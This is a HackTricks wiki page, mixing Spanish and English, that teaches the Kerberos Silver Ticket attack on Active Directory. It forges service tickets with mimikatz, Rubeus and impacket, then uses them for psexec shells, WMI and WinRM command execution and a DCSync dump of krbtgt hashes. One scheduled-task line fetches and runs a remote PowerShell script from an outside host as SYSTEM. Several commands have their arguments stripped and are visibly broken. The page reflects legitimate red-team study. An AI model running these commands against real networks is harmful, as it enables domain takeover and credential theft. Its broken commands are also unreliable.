# Silver Ticket {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## Silver ticket El ataque de **Silver Ticket** implica la explotación de tickets de servicio en entornos de Active Directory (AD). Este método se basa en **adquirir el hash NTLM de una cuenta de servicio**, como una cuenta de computadora, para falsificar un ticket de Servicio de Concesión de Tickets (TGS). Con este ticket falsificado, un atacante puede acceder a servicios específicos en la red, **suplantando a cualquier usuario**, generalmente con el objetivo de obtener privilegios administrativos. Se enfatiza que el uso de claves AES para falsificar tickets es más seguro y menos detectable. Para la creación de tickets, se emplean diferentes herramientas según el sistema operativo: ### On Linux ```bash python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache python psexec.py /@ -k -no-pass ``` ### En Windows ```bash # Create the ticket mimikatz.exe "kerberos::golden /domain: /sid: /rc4: /user: /service: /target:" # Inject the ticket mimikatz.exe "kerberos::ptt " .\Rubeus.exe ptt /ticket: # Obtain a shell .\PsExec.exe -accepteula \\ cmd ``` El servicio CIFS se destaca como un objetivo común para acceder al sistema de archivos de la víctima, pero otros servicios como HOST y RPCSS también pueden ser explotados para tareas y consultas WMI. ## Servicios Disponibles | Tipo de Servicio | Servicios Silver Tickets | | ------------------------------------------ | ------------------------------------------------------------------------- | | WMI |

HOST

RPCSS

| | PowerShell Remoting |

HOST

HTTP

Dependiendo del SO también:

WSMAN

RPCSS

| | WinRM |

HOST

HTTP

En algunas ocasiones solo puedes pedir: WINRM

| | Tareas Programadas | HOST | | Compartición de Archivos de Windows, también psexec | CIFS | | Operaciones LDAP, incluido DCSync | LDAP | | Herramientas de Administración de Servidores Remotos de Windows |

RPCSS

LDAP

CIFS

| | Golden Tickets | krbtgt | Usando **Rubeus** puedes **pedir todos** estos tickets usando el parámetro: * `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` ### IDs de Evento de Silver Tickets * 4624: Inicio de Sesión de Cuenta * 4634: Cierre de Sesión de Cuenta * 4672: Inicio de Sesión de Administrador ## Abusando de los tickets de servicio En los siguientes ejemplos imaginemos que el ticket se recupera suplantando la cuenta de administrador. ### CIFS Con este ticket podrás acceder a la carpeta `C$` y `ADMIN$` a través de **SMB** (si están expuestas) y copiar archivos a una parte del sistema de archivos remoto solo haciendo algo como: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` También podrás obtener un shell dentro del host o ejecutar comandos arbitrarios usando **psexec**: {% content-ref url="../lateral-movement/psexec-and-winexec.md" %} [psexec-and-winexec.md](../lateral-movement/psexec-and-winexec.md) {% endcontent-ref %} ### HOST Con este permiso puedes generar tareas programadas en computadoras remotas y ejecutar comandos arbitrarios: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc #Create scheduled task, first for exe execution, second for powershell reverse shell download schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe" schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'" #Check it was successfully created schtasks /query /S some.vuln.pc #Run created schtask now schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS Con estos tickets puedes **ejecutar WMI en el sistema de la víctima**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local #Execute code Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand" #You can also use wmic wmic remote.computer.local list full /format:list ``` Encuentra **más información sobre wmiexec** en la siguiente página: {% content-ref url="../lateral-movement/wmiexec.md" %} [wmiexec.md](../lateral-movement/wmiexec.md) {% endcontent-ref %} ### HOST + WSMAN (WINRM) Con acceso winrm a una computadora puedes **acceder a ella** e incluso obtener un PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` Check the following page to learn **más formas de conectarse a un host remoto usando winrm**: {% content-ref url="../lateral-movement/winrm.md" %} [winrm.md](../lateral-movement/winrm.md) {% endcontent-ref %} {% hint style="warning" %} Note that **winrm debe estar activo y escuchando** en la computadora remota para acceder a ella. {% endhint %} ### LDAP With this privilege you can dump the DC database using **DCSync**: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` **Aprende más sobre DCSync** en la siguiente página: ## Referencias * [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) {% content-ref url="dcsync.md" %} [dcsync.md](dcsync.md) {% endcontent-ref %}
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %}